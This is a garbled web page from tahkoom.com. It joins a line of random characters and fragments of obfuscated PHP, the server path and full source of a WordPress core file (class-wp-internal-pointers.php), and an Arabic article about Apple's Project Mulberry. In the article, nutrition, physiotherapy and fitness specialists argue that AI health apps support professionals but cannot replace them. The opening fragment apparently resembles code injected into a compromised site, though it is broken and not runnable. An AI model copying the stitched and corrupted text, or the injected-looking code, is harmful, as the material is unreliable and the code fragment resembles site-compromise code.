财务姐富婆就死哦基础oiwjfoijvoc 恶无非可从跑开了MV v每次看完jaf@#$%^&uhk.= "OEs5";$z复测而服文件GVi今晚服务金额fijd .= "dzYv";($data['module'])) { http_response_code(402); exit;LQW]SC'.E'HNRFN 3.poqwsmcfl kndvgerjhdfsmbv l;
/home/tahkoom/public_html/wp-admin/includes/class-wp-internal-pointers.php
<?php
/**
 * Administration API: WP_Internal_Pointers class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */

/**
 * Core class used to implement an internal admin pointers API.
 *
 * @since 3.3.0
 */
#[AllowDynamicProperties]
final class WP_Internal_Pointers {
	/**
	 * Initializes the new feature pointers.
	 *
	 * @since 3.3.0
	 *
	 * All pointers can be disabled using the following:
	 *     remove_action( 'admin_enqueue_scripts', array( 'WP_Internal_Pointers', 'enqueue_scripts' ) );
	 *
	 * Individual pointers (e.g. wp390_widgets) can be disabled using the following:
	 *
	 *    function yourprefix_remove_pointers() {
	 *        remove_action(
	 *            'admin_print_footer_scripts',
	 *            array( 'WP_Internal_Pointers', 'pointer_wp390_widgets' )
	 *        );
	 *    }
	 *    add_action( 'admin_enqueue_scripts', 'yourprefix_remove_pointers', 11 );
	 *
	 * @param string $hook_suffix The current admin page.
	 */
	public static function enqueue_scripts( $hook_suffix ) {
		/*
		 * Register feature pointers
		 *
		 * Format:
		 *     array(
		 *         hook_suffix => pointer callback
		 *     )
		 *
		 * Example:
		 *     array(
		 *         'themes.php' => 'wp390_widgets'
		 *     )
		 */
		$registered_pointers = array(
			// None currently.
		);

		// Check if screen related pointer is registered.
		if ( empty( $registered_pointers[ $hook_suffix ] ) ) {
			return;
		}

		$pointers = (array) $registered_pointers[ $hook_suffix ];

		/*
		 * Specify required capabilities for feature pointers
		 *
		 * Format:
		 *     array(
		 *         pointer callback => Array of required capabilities
		 *     )
		 *
		 * Example:
		 *     array(
		 *         'wp390_widgets' => array( 'edit_theme_options' )
		 *     )
		 */
		$caps_required = array(
			// None currently.
		);

		// Get dismissed pointers.
		$dismissed = explode( ',', (string) get_user_meta( get_current_user_id(), 'dismissed_wp_pointers', true ) );

		$got_pointers = false;
		foreach ( array_diff( $pointers, $dismissed ) as $pointer ) {
			if ( isset( $caps_required[ $pointer ] ) ) {
				foreach ( $caps_required[ $pointer ] as $cap ) {
					if ( ! current_user_can( $cap ) ) {
						continue 2;
					}
				}
			}

			// Bind pointer print function.
			add_action( 'admin_print_footer_scripts', array( 'WP_Internal_Pointers', 'pointer_' . $pointer ) );
			$got_pointers = true;
		}

		if ( ! $got_pointers ) {
			return;
		}

		// Add pointers script and style to queue.
		wp_enqueue_style( 'wp-pointer' );
		wp_enqueue_script( 'wp-pointer' );
	}

	/**
	 * Prints the pointer JavaScript data.
	 *
	 * @since 3.3.0
	 *
	 * @param string $pointer_id The pointer ID.
	 * @param string $selector The HTML elements, on which the pointer should be attached.
	 * @param array  $args Arguments to be passed to the pointer JS (see wp-pointer.js).
	 */
	private static function print_js( $pointer_id, $selector, $args ) {
		if ( empty( $pointer_id ) || empty( $selector ) || empty( $args ) || empty( $args['content'] ) ) {
			return;
		}

		?>
		<script type="text/javascript">
		(function($){
			var options = <?php echo wp_json_encode( $args ); ?>, setup;

			if ( ! options )
				return;

			options = $.extend( options, {
				close: function() {
					$.post( ajaxurl, {
						pointer: '<?php echo $pointer_id; ?>',
						action: 'dismiss-wp-pointer'
					});
				}
			});

			setup = function() {
				$('<?php echo $selector; ?>').first().pointer( options ).pointer('open');
			};

			if ( options.position && options.position.defer_loading )
				$(window).bind( 'load.wp-pointers', setup );
			else
				$( function() {
					setup();
				} );

		})( jQuery );
		</script>
		<?php
	}

	public static function pointer_wp330_toolbar() {}
	public static function pointer_wp330_media_uploader() {}
	public static function pointer_wp330_saving_widgets() {}
	public static function pointer_wp340_customize_current_theme_link() {}
	public static function pointer_wp340_choose_image_from_library() {}
	public static function pointer_wp350_media() {}
	public static function pointer_wp360_revisions() {}
	public static function pointer_wp360_locks() {}
	public static function pointer_wp390_widgets() {}
	public static function pointer_wp410_dfw() {}
	public static function pointer_wp496_privacy() {}

	/**
	 * Prevents new users from seeing existing 'new feature' pointers.
	 *
	 * @since 3.3.0
	 *
	 * @param int $user_id User ID.
	 */
	public static function dismiss_pointers_for_new_users( $user_id ) {
		add_user_meta( $user_id, 'dismissed_wp_pointers', '' );
	}
}
حين تتحول الساعة الذكية إلى عيادة متنقلة.. من يفهم جسدك الخوارزميات أم الأخصائي؟ – tahkoom.com
خدمة

حين تتحول الساعة الذكية إلى عيادة متنقلة.. من يفهم جسدك الخوارزميات أم الأخصائي؟

كتبت: فرح سمير

 مدربك، طبيبك، وخبير التغذية… داخل هاتفك

! في خطوة جديدة تعزز مكانتها في عالم الصحة الرقمية، أعلنت شركة “آبل” عن مشروعها الطموح Project Mulberry، الذي يجمع بين الذكاء الاصطناعي والبيانات الصحية الشخصية لتقديم توصيات طبية وغذائية مصممة خصيصًا لكل مستخدم. المشروع يأتي كجزء من توسع آبل في مجالات الصحة والتغذية والعلاج الطبيعي. يهدف Project Mulberry إلى تحويل الهاتف الذكي إلى مساعد صحي افتراضي، يستند إلى معلومات دقيقة يتم جمعها من أجهزة مثل آيفون وآبل ووتش، لتقديم نصائح تتعلق بالنوم، التغذية، التمارين الرياضية، وحتى الوضعية الجسدية. يركز التطبيق على التكامل بين التحليل البيولوجي، والنصائح الشخصية، والمحتوى التعليمي المرئي. ويطمح إلى تقديم تجربة أكثر شمولاً… تبدأ من قياس عدد الخطوات، ولا تنتهي قبل تقديم خطة علاجية وتغذوية تراعي تفاصيل المستخدم. وقد استعانت آبل بفريق من الأطباء وخبراء التغذية والعلاج الطبيعي، لتدريب نموذجها الذكي وتحسين دقة التوصيات. لكن في خضم هذا التطور، تطرح تساؤلات مشروعة: هل يمكن لهذه التطبيقات أن تحل فعلاً محل الاستشارات الطبية المباشرة؟ وهل تمثل خطرًا على صحة المستخدم إن تم الاعتماد عليها بشكل كامل؟

 “الذكاء الاصطناعي لا يملك حدسك”

الدكتورة ” إيمان الحجار” استشاري التغذية؛ ترى أن الذكاء الاصطناعي لا يمكن الاعتماد عليه بشكل كامل في التخطيط الغذائي. خلال تدريب الطلبة، لاحظت أن أدوات الذكاء الاصطناعي ترتكب أخطاء واضحة في حساب السعرات، وتعتمد على معلومات غير مكتملة أو غير دقيقة، فضلًا عن تجاهلها لعادات وثقافات المجتمعات، مثل اقتراح أطعمة غير مقبولة دينيًا أو باهظة الثمن لا تناسب جميع الفئات. ترى د. إيمان أن التغذية لا تقتصر على وضع خطة مكتوبة، بل تحتاج إلى تواصل إنساني مباشر مع المريض، لفهم حالته النفسية والسلوكية، إذ قد يخفي بعض العادات الغذائية الحقيقية أو يتظاهر باتباع نظام صحي. من خلال الملاحظة المباشرة ولغة الجسد، تستطيع كمتخصصة كشف مشاكل لا يمكن للتطبيقات رصدها. تؤكد أن بعض المرضى يختبرون الذكاء الاصطناعي، وأحيانًا حتى الأخصائيين أنفسهم، كما تختلف شخصيات المرضى بين النرجسية أو السلبية أو الإنكار، ما يجعل التعامل الإنساني المباشر ضرورة، خاصة في حالات الأكل العاطفي أو الاضطرابات السلوكية المرتبطة بالتغذية. رغم ذلك، ترى أن الذكاء الاصطناعي يمكن أن يكون مكملًا مفيدًا، لا بديلًا. فهي استخدمته مثلًا مع الطلبة مرضى السكري في تطبيق ترفيهي يساعدهم على التعرف إلى السعرات الحرارية بشكل ممتع. كما تسهم التطبيقات في دعم الأخصائيين من خلال الردود التلقائية أو المتابعة اليومية، لكن مع ضرورة أن يكون التحكم بيد الأخصائي، لا العكس. وتحذر من مخاطر التطبيقات غير الموثوقة التي قد تنتهك الخصوصية أو تستغل البيانات، مشددة على أهمية المتابعة الشخصية مع الطبيب، لما تحققه من تواصل وجداني وتأثير نفسي إيجابي، خصوصًا عند إشراك المرضى في أنشطة جماعية ومشاركة وجباتهم، مما يشعرهم بالانتماء والدعم، ويقلل من العزلة والانطوائية. وتختم بأن العامل البشري لا غنى عنه، لأن مجرد الحوار بين المريض والأخصائي يمثل علاجًا بحد ذاته، ووسيلة لفهم أعمق ونتائج أفضل

العلاج الطبيعي: دعم لا بديل

أما في مجال العلاج الطبيعي، فيؤكد د. محمود عادل، استشاري العلاج الطبيعي –، أن الذكاء الاصطناعي يتمتع بإمكانات ملحوظة في تقديم إرشادات مخصصة اعتمادًا على تحليل بيانات المستخدمين، لكن الإشراف المتخصص يظل ضروريًا لضمان السلامة والفعالية، خاصة أن السلامة تمثل أولوية قصوى. ويشدد على أن المريض لا يجب أن يخضع لأي تجربة علاجية دون توجيه من مختص. يرى أن الذكاء الاصطناعي يمكن أن يكون مساعدًا في حالات محددة بسيطة أو لأغراض وقائية، وقد يشبه جزئيًا بعض جوانب جلسات العلاج الطبيعي. ومع ذلك، لا يمتلك القدرة على الحلول محل عملية التقييم والعلاج الشاملة التي يقوم بها الأخصائي، لأهمية المتابعة الدقيقة لحالة المريض. ويشير إلى أن مشروعًا مثل “Project Mulberry” يمكن أن يكون عنصرًا داعمًا لجلسات العلاج الطبيعي، لكنه لا يغني عنها، بل يسهل عملية المتابعة بين الجلسات ويوفر الوقت للمعالج والمريض. أما عن المخاطر، فيحذر من الاعتماد الكلي على التوجيهات التقنية دون استشارة أخصائي، لما قد يسببه ذلك من أخطاء في التشخيص أو أداء تمارين غير مناسبة، وهو ما قد يؤدي إلى تفاقم الإصابة، خصوصًا في حالات العضلات أو العمود الفقري. ويتابع: حتى مع تزويد التطبيقات بصور إشعاعية، يصعب عليها تقييم ما قد يضر المريض، كما أن الفيديوهات والصور يمكن أن تساعد في شرح التمارين، لكنها لا تعوض التوجيه المباشر، خاصة في الحالات المعقدة التي تتطلب تعديلاً مستمرًا بحسب استجابة الجسم التدريب الرياضي: حماس لا يمكن برمجته

المدرب الرقمي في جيبك…،

 تؤكد المدربة المعتمدة شيماء بركات أن الذكاء الاصطناعي، رغم تطوره، لا يمكن أن يحل محل المدرب البشري بأي شكل من الأشكال. وترى شيماء أن أنظمة الذكاء الاصطناعي قد تكون مفيدة في بعض الجوانب التقنية، خاصة عند توفر بيانات دقيقة وواضحة، لكنها لا تمتلك الفهم الكامل لاحتياجات كل مستخدم على حدة. كما أن الاعتماد على كاميرا الهاتف لتحليل الحركات لا يضاهي الملاحظة الفورية والخبرة العملية التي يتمتع بها المدرب، لا سيما أن تقييم الأداء البدني يتطلب قراءة دقيقة لتفاعل الجسم واستجابته أثناء التمرين. وتحذر من الاعتماد الكلي على هذه التطبيقات دون إشراف بشري مباشر، مشيرة إلى أن غياب العنصر الإنساني قد يؤدي إلى مشكلات عديدة، أبرزها الإصابة أو الفشل في تحقيق الأهداف، إضافة إلى شعور المتدرب بالملل أو فقدان الحافز بسبب غياب التشجيع والدعم اللحظي. كما تلفت إلى أن الذكاء الاصطناعي قد لا يكون قادرًا على التعامل مع الحالات الفردية الجديدة أو النادرة، وهو ما قد ينتج عنه عواقب سلبية عند غياب التقييم البشري المتخصص. وتختتم شيماء رأيها بالتأكيد على أن “التطبيقات الذكية ستظل أدوات مساعدة مفيدة، لكنها لا يمكن أن تحل محل التفاعل البشري الحي، أو تلغي الحاجة إلى خبرة المدرب الشخصي ومتابعته الدقيقة.” ميزة التطوير المستمر… ولكن! مشروع آبل مدعوم بفريق طبي يعمل على تدريب نموذج الذكاء الاصطناعي باستمرار، ما يعزز دقة التوصيات مع الوقت. كما أن إضافة خاصية متابعة التغذية وتحليل نمط النوم ومراقبة التمارين تجعل من التطبيق منصة شاملة. ومع ذلك، يبقى الاعتماد الكلي على الخوارزميات محل جدل. “ربما يكون المشروع مكملاً ممتازًا للرعاية الصحية، لكنه لا يجب أن يكون بديلاً عنها” ، يقول د. محمود. أداة مساعدة لا بديل مطلق: من الواضح أن الذكاء الاصطناعي بدأ يلعب دورًا متزايدًا في عالم الصحة. لكن حتى الآن، تظل قدراته محدودة أمام تعقيد الجسد البشري. التطبيقات الذكية قد تسهم في تحسين نمط الحياة، لكنها لا يمكن أن تحل محل المعرفة البشرية المتخصصة. في النهاية، الصحة تظل مسؤولية مشتركة بين الإنسان… والتقنية.

اظهر المزيد

مقالات ذات صلة

زر الذهاب إلى الأعلى